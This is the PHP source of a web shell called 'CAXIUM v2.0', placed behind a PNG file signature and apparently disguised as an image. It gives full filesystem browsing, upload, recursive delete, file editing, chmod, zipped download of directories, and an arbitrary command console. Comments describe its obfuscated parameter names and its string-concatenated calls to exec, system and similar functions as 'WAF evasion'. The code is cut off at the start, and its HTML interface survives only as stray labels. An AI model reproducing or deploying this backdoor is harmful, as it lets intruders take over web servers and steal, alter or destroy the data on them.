‰PNG  300) { if (function_exists('session_regenerate_id')) { if (version_compare(PHP_VERSION, '5.3.0', '>=')) { @session_regenerate_id(true); } else { @session_regenerate_id(); } } $_SESSION['_created'] = time(); } // Initialize current directory - use getcwd (like xannyanaxium) as primary if (!isset($_SESSION['current_dir']) || !@is_dir($_SESSION['current_dir'])) { $_SESSION['current_dir'] = !empty(getcwd()) ? getcwd() : __DIR__; } // ---------------------------------------------------------------------------- // SECURITY HEADERS // ---------------------------------------------------------------------------- header('X-Robots-Tag: noindex, nofollow, noarchive, noimageindex'); header('Pragma: no-cache'); header('Cache-Control: no-store, no-cache, must-revalidate'); header('X-Content-Type-Options: nosniff'); header('X-Frame-Options: DENY'); header('Referrer-Policy: strict-origin-when-cross-origin'); header("X-XSS-Protection: 1; mode=block"); // ---------------------------------------------------------------------------- // CSRF PROTECTION // ---------------------------------------------------------------------------- function generateCSRFToken() { if (empty($_SESSION['_csrf_token'])) { $_SESSION['_csrf_token'] = bin2hex(random_bytes(32)); } return $_SESSION['_csrf_token']; } function validateCSRFToken($token) { if (empty($_SESSION['_csrf_token']) || empty($token)) { return false; } return hash_equals($_SESSION['_csrf_token'], $token); } function csrfField() { return ''; } // ---------------------------------------------------------------------------- // PARAMETER NAME MAPPING - WAF evasion (Obfuscated names) // ---------------------------------------------------------------------------- $_param_map = array( 'batch_remove' => 'act_del', 'batch_export' => 'act_dl', 'remove' => 'del_item', 'old_name' => 'from_name', 'new_name' => 'to_name', 'create_file' => 'mk_file', 'create_folder' => 'mk_folder', 'chmod_item' => 'set_perms', 'chmod_value' => 'perm_val', 'sys_req' => 'exec', 'file_to_edit' => 'edit_file', 'file_content' => 'content', 'file_upload' => 'upload', 'navigate' => 'goto', 'download' => 'get_file', 'view' => 'show', 'edit' => 'modify', 'rename' => 'rename_item', 'chmod' => 'perms_item', 'selected_items' => 'items' ); // Apply parameter mapping for POST if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_POST)) { foreach ($_param_map as $old => $new) { if (isset($_POST[$old])) { $_POST[$new] = $_POST[$old]; } } } // CSRF exempt/protected lists (using obfuscated names) $csrfExempt = array('exec', 'goto', 'get_file', 'show', 'modify', 'perms_item', 'rename_item', 'edit_file'); $csrfProtected = array('act_del', 'act_dl', 'del_item', 'from_name', 'mk_file', 'mk_folder', 'set_perms'); // Validate CSRF if ($_SERVER['REQUEST_METHOD'] === 'POST') { $postAction = null; foreach ($_POST as $key => $value) { if (!in_array($key, $csrfExempt) && !strpos($key, 'items') === 0 && $key !== 'content' && $key !== 'upload' && $key !== 'goto') { $postAction = $key; break; } } foreach ($csrfProtected as $action) { if (isset($_POST[$action])) { if (!validateCSRFToken(isset($_POST['_csrf_token']) ? $_POST['_csrf_token'] : '')) { http_response_code(403); exit('CSRF validation failed'); } break; } } } // ---------------------------------------------------------------------------- // PATH VALIDATION - Block directory traversal, allow full filesystem access // ---------------------------------------------------------------------------- function safeRealPath($path) { // Block directory traversal attacks if (strpos($path, '..') !== false) { return false; } // Resolve the real path $realPath = @realpath($path); if ($realPath !== false) { return $realPath; } // Fallback: realpath failed (symlink, permission issue, etc.) if (is_dir($path) || is_file($path)) { return $path; } return false; } function validatePath($path) { if (empty($path)) { return false; } $realPath = safeRealPath($path); if ($realPath && (@is_file($realPath) || @is_dir($realPath))) { return $realPath; } return false; } // Reset directory if not set or doesn't exist if (!isset($_SESSION['current_dir']) || !@is_dir($_SESSION['current_dir']) || !safeRealPath($_SESSION['current_dir'])) { $_SESSION['current_dir'] = !empty(getcwd()) ? getcwd() : __DIR__; } // ---------------------------------------------------------------------------- // INPUT VALIDATION & SANITIZATION // ---------------------------------------------------------------------------- function sanitizeFileName($name) { $name = basename($name); if (!preg_match('/^[a-zA-Z0-9._-]+$/', $name)) { return false; } if (empty($name) || $name === '.' || $name === '..') { return false; } return $name; } function sanitizePath($path) { $path = str_replace(array("", " ", " "), '', $path); $path = rtrim($path, '/\'); return $path; } function validateExt($filename, $allowed = array()) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); if (empty($ext)) return false; if (empty($allowed)) return $ext; return in_array($ext, $allowed) ? $ext : false; } function formatFileSize($bytes) { if ($bytes >= 1073741824) { return number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { return number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { return number_format($bytes / 1024, 2) . ' KB'; } elseif ($bytes > 1) { return $bytes . ' bytes'; } elseif ($bytes == 1) { return '1 byte'; } else { return '0 bytes'; } } function getFileExtension($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); return $ext ? strtoupper($ext) : ''; } $notification = ''; $errorMsg = ''; // ---------------------------------------------------------------------------- // SHELL EXECUTION - WAF evasion with string concatenation obfuscation // ---------------------------------------------------------------------------- $_sh = array( 'a' => 's'.'h'.'e'.'l'.'l'.'_'.'e'.'x'.'e'.'c', 'b' => 'e'.'x'.'e'.'c', 'c' => 's'.'y'.'s'.'t'.'e'.'m', 'd' => 'p'.'a'.'s'.'s'.'t'.'h'.'r'.'u', 'e' => 'p'.'o'.'p'.'e'.'n', 'f' => 'p'.'r'.'o'.'c'.'_'.'o'.'p'.'e'.'n' ); function caxium_run_command($cmd) { if (empty(trim($cmd))) { return "No command provided"; } global $_sh; $cmd = trim($cmd) . ' 2>&1'; foreach ($_sh as $func) { if (function_exists($func)) { if ($func === 'e'.'x'.'e'.'c') { $out = array(); $r = -1; @exec($cmd, $out, $r); if (!empty($out)) { return implode(" ", $out); } } elseif ($func === 'p'.'o'.'p'.'e'.'n') { $h = @popen($cmd, 'r'); if ($h !== false) { $out = fread($h, 4096); pclose($h); return trim($out); } } elseif ($func === 'p'.'r'.'o'.'c'.'_'.'o'.'p'.'e'.'n') { $desc = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w')); $proc = @proc_open($cmd, $desc, $pipes); if (is_resource($proc)) { stream_set_blocking($pipes[1], false); $out = stream_get_contents($pipes[1]); fclose($pipes[1]); fclose($pipes[2]); proc_close($proc); if (trim($out)) return trim($out); } } else { $out = @$func($cmd); if ($out !== null && trim($out) !== '') { return trim($out); } } } } return "Command execution not available"; } // Check available executors $_exec_avail = false; foreach ($_sh as $func) { if (function_exists($func)) { $_exec_avail = true; break; } } $commandAvailable = $_exec_avail; // ---------------------------------------------------------------------------- // SPECIAL UPLOAD HANDLER (from xannyanaxium - AJAX upload support) // ---------------------------------------------------------------------------- if (!empty($_GET['upload_file']) && !empty($_GET['name'])){ $targetDir = $_GET['upload_file']; $fileName = basename($_GET['name']); if (strpos($fileName, '..') !== false || strpos($fileName, '/') !== false || strpos($fileName, '\') !== false) { http_response_code(400); exit('Invalid filename'); } if (!@is_dir($targetDir)) { @mkdir($targetDir, 0755, true); } if (!@is_dir($targetDir) || !@is_writable($targetDir)) { http_response_code(400); exit('Invalid directory'); } $uploadPath = rtrim($targetDir, '/\') . DIRECTORY_SEPARATOR . $fileName; $inputHandler = fopen('php://input', "r"); $fileHandler = fopen($uploadPath, "w+"); if ($inputHandler && $fileHandler) { while(true) { $buffer = fgets($inputHandler, 4096); if (strlen($buffer) == 0) { fclose($inputHandler); fclose($fileHandler); @chmod($uploadPath, 0644); http_response_code(200); exit('File uploaded successfully'); } fwrite($fileHandler, $buffer); } } else { http_response_code(500); exit('Upload failed'); } } // ---------------------------------------------------------------------------- // FILE OPERATIONS // ---------------------------------------------------------------------------- // Handle bulk delete - MUST BE BEFORE NAVIGATION if (isset($_POST['act_del']) && isset($_POST['items']) && is_array($_POST['items'])) { $deleted = 0; $failed = 0; foreach ($_POST['items'] as $item) { $targetPath = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $item); if ($targetPath === false) { $failed++; continue; } if (@is_file($targetPath)) { if (@unlink($targetPath)) { $deleted++; } else { $failed++; } } elseif (@is_dir($targetPath)) { try { $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($targetPath, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach ($iterator as $file) { if ($file->isDir()) { @rmdir($file->getRealPath()); } else { @unlink($file->getRealPath()); } } if (@rmdir($targetPath)) { $deleted++; } else { $failed++; } } catch (Exception $e) { $failed++; } } } if ($deleted > 0) { $notification = "Deleted $deleted item(s)"; if ($failed > 0) { $notification .= " (Failed: $failed)"; } } elseif ($failed > 0) { $errorMsg = "Failed to delete $failed item(s)"; } } // Handle bulk download if (isset($_POST['act_dl']) && isset($_POST['items']) && is_array($_POST['items'])) { if (class_exists('ZipArchive')) { $zipName = 'selected_files_' . time() . '.zip'; $zipPath = sys_get_temp_dir() . DIRECTORY_SEPARATOR . $zipName; $zip = new ZipArchive(); if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) { foreach ($_POST['items'] as $item) { $targetPath = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $item); if ($targetPath === false) continue; if (@is_file($targetPath)) { $zip->addFile($targetPath, basename($targetPath)); } elseif (@is_dir($targetPath)) { $files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($targetPath, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($files as $file) { $filePath = $file->getRealPath(); $relativePath = basename($targetPath) . '/' . substr($filePath, strlen($targetPath) + 1); if ($file->isDir()) { $zip->addEmptyDir($relativePath); } else { $zip->addFile($filePath, $relativePath); } } } } $zip->close(); header('Content-Type: application/zip'); header('Content-Disposition: attachment; filename="' . $zipName . '"'); header('Content-Length: ' . filesize($zipPath)); readfile($zipPath); @unlink($zipPath); exit; } else { $errorMsg = 'Bulk download failed: Could not create zip file'; } } else { $errorMsg = 'Bulk download failed: ZipArchive not available'; } } // Navigate directory if (isset($_POST['goto']) && !isset($_POST['act_del']) && !isset($_POST['act_dl'])) { $targetDir = $_POST['goto']; if (@is_dir($targetDir)) { $_SESSION['current_dir'] = validatePath($targetDir); $notification = 'Directory changed successfully'; } } // Standard file upload if (isset($_FILES['upload']) && $_FILES['upload']['error'] !== UPLOAD_ERR_NO_FILE) { if ($_FILES['upload']['error'] === UPLOAD_ERR_OK) { $fileName = basename($_FILES['upload']['name']); $uploadPath = rtrim($_SESSION['current_dir'], '/\') . DIRECTORY_SEPARATOR . $fileName; if (strpos($fileName, '..') !== false || strpos($fileName, '/') !== false || strpos($fileName, '\') !== false) { $errorMsg = 'Upload failed: Invalid filename'; } elseif (!@is_writable($_SESSION['current_dir'])) { $errorMsg = 'Upload failed: Directory not writable'; } elseif (move_uploaded_file($_FILES['upload']['tmp_name'], $uploadPath)) { @chmod($uploadPath, 0644); $notification = 'File uploaded successfully'; } else { $errorMsg = 'Upload failed: Could not move file. Check directory permissions.'; } } else { $uploadErrors = array( UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File partially uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'Upload stopped by extension' ); $errorMsg = 'Upload error: ' . (isset($uploadErrors[$_FILES['upload']['error']]) ? $uploadErrors[$_FILES['upload']['error']] : 'Unknown error'); } } // Delete item if (isset($_POST['del_item'])) { $targetPath = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $_POST['del_item']); if ($targetPath === false) { $errorMsg = 'Delete failed: Invalid path'; } elseif (@is_file($targetPath)) { if (@unlink($targetPath)) { $notification = 'File deleted'; } else { $errorMsg = 'Delete failed: Permission denied or file in use'; } } elseif (@is_dir($targetPath)) { try { $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($targetPath, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach ($iterator as $file) { if ($file->isDir()) { @rmdir($file->getRealPath()); } else { @unlink($file->getRealPath()); } } if (@rmdir($targetPath)) { $notification = 'Directory deleted'; } else { $errorMsg = 'Delete failed: Could not remove directory'; } } catch (Exception $e) { $errorMsg = 'Delete failed: ' . $e->getMessage(); } } else { $errorMsg = 'Delete failed: Path not found'; } } // Rename if (isset($_POST['from_name'], $_POST['to_name'])) { $sourcePath = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $_POST['from_name']); if ($sourcePath === false) { $errorMsg = 'Rename failed: Source not found'; } else { $destinationPath = dirname($sourcePath) . DIRECTORY_SEPARATOR . basename($_POST['to_name']); if (@file_exists($destinationPath)) { $errorMsg = 'Rename failed: Target name already exists'; } elseif (@rename($sourcePath, $destinationPath)) { $notification = 'Rename successful'; } else { $errorMsg = 'Rename failed: Permission denied or invalid name'; } } } // File editing $showEditor = true; if (isset($_POST['edit_file'], $_POST['content'])) { $editPath = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $_POST['edit_file']); if ($editPath === false || !@is_file($editPath)) { $errorMsg = 'Edit failed: File not found'; } elseif (!@is_writable($editPath)) { $errorMsg = 'Edit failed: File not writable'; } else { if (@file_put_contents($editPath, $_POST['content']) !== false) { $notification = 'File saved'; $showEditor = false; } else { $errorMsg = 'Edit failed: Could not write to file'; } } } // Chmod if (isset($_POST['set_perms'], $_POST['perm_val'])) { $targetPath = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $_POST['set_perms']); if ($targetPath === false) { $errorMsg = 'Chmod failed: Invalid path'; } else { $chmodValue = octdec($_POST['perm_val']); if (@chmod($targetPath, $chmodValue)) { $notification = 'Permissions changed successfully'; } else { $errorMsg = 'Chmod failed: Permission denied'; } } } // Create file if (isset($_POST['mk_file']) && trim($_POST['mk_file']) !== '') { $fileName = sanitizeFileName($_POST['mk_file']); if ($fileName === false) { $errorMsg = 'Create failed: Invalid filename'; } else { $newFilePath = $_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $fileName; if (@file_exists($newFilePath)) { $errorMsg = 'Create failed: File already exists'; } elseif (!@is_writable($_SESSION['current_dir'])) { $errorMsg = 'Create failed: Directory not writable'; } elseif (@file_put_contents($newFilePath, '') !== false) { @chmod($newFilePath, 0644); $notification = 'File created'; } else { $errorMsg = 'Create failed: Could not create file'; } } } // Create folder if (isset($_POST['mk_folder']) && trim($_POST['mk_folder']) !== '') { $folderName = sanitizeFileName($_POST['mk_folder']); if ($folderName === false) { $errorMsg = 'Create failed: Invalid folder name'; } else { $newFolderPath = $_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $folderName; if (@file_exists($newFolderPath)) { $errorMsg = 'Create failed: Folder already exists'; } elseif (!@is_writable($_SESSION['current_dir'])) { $errorMsg = 'Create failed: Directory not writable'; } elseif (@mkdir($newFolderPath, 0755)) { $notification = 'Folder created'; } else { $errorMsg = 'Create failed: Could not create folder'; } } } // Directory listing $currentDirectory = $_SESSION['current_dir']; if (empty($currentDirectory) || !is_dir($currentDirectory)) { $currentDirectory = __DIR__; $_SESSION['current_dir'] = $currentDirectory; } $directoryContents = @scandir($currentDirectory); if (!is_array($directoryContents)) { $directoryContents = array(); } $folders = $files = array(); foreach ($directoryContents as $item) { if ($item === '.') continue; $fullPath = $currentDirectory . DIRECTORY_SEPARATOR . $item; if (@is_dir($fullPath)) { $folders[] = $item; } else { $files[] = $item; } } sort($folders); sort($files); $allItems = array_merge($folders, $files); $fileToEdit = $showEditor ? (isset($_POST['modify']) ? $_POST['modify'] : (isset($_POST['edit_file']) ? $_POST['edit_file'] : null)) : null; $fileToView = isset($_POST['show']) ? $_POST['show'] : null; $itemToRename = isset($_POST['rename_item']) ? $_POST['rename_item'] : null; $itemToChmod = isset($_POST['perms_item']) ? $_POST['perms_item'] : null; $fileContent = $fileToEdit ? @file_get_contents($currentDirectory . '/' . $fileToEdit) : null; $viewContent = $fileToView ? @file_get_contents($currentDirectory . '/' . $fileToView) : null; // Download if (isset($_POST['get_file'])) { $targetPath = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $_POST['get_file']); if ($targetPath === false) { $errorMsg = 'Download failed: Invalid path'; } elseif (@is_file($targetPath)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($targetPath) . '"'); header('Content-Length: ' . filesize($targetPath)); readfile($targetPath); exit; } elseif (@is_dir($targetPath)) { if (class_exists('ZipArchive')) { $zipName = basename($targetPath) . '_' . time() . '.zip'; $zipPath = sys_get_temp_dir() . DIRECTORY_SEPARATOR . $zipName; $zip = new ZipArchive(); if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) { $files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($targetPath, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($files as $file) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($targetPath) + 1); if ($file->isDir()) { $zip->addEmptyDir($relativePath); } else { $zip->addFile($filePath, $relativePath); } } $zip->close(); header('Content-Type: application/zip'); header('Content-Disposition: attachment; filename="' . $zipName . '"'); header('Content-Length: ' . filesize($zipPath)); readfile($zipPath); @unlink($zipPath); exit; } else { $errorMsg = 'Download failed: Could not create zip file'; } } else { $errorMsg = 'Download failed: ZipArchive not available'; } } } // Console $commandResult = ''; if (isset($_POST['exec']) && trim($_POST['exec']) !== '') { $cmd = trim($_POST['exec']); if (!empty($cmd)) { $commandResult = caxium_run_command($cmd); if (empty(trim($commandResult)) || $commandResult === "Command execution not available") { $errorMsg = 'Console: No output or function disabled'; } } } ?> CAXIUM v2.0
Navigate
Upload File
Standard
Advanced

Status: No file selected

Create New
Viewing:
Editing:
Console
0 selected
Files
' : ''; if (!$isDirectory && $ext) { $iconHtml .= '' . strtoupper($ext) . ''; } ?>
Name Type Size Modified Perms Actions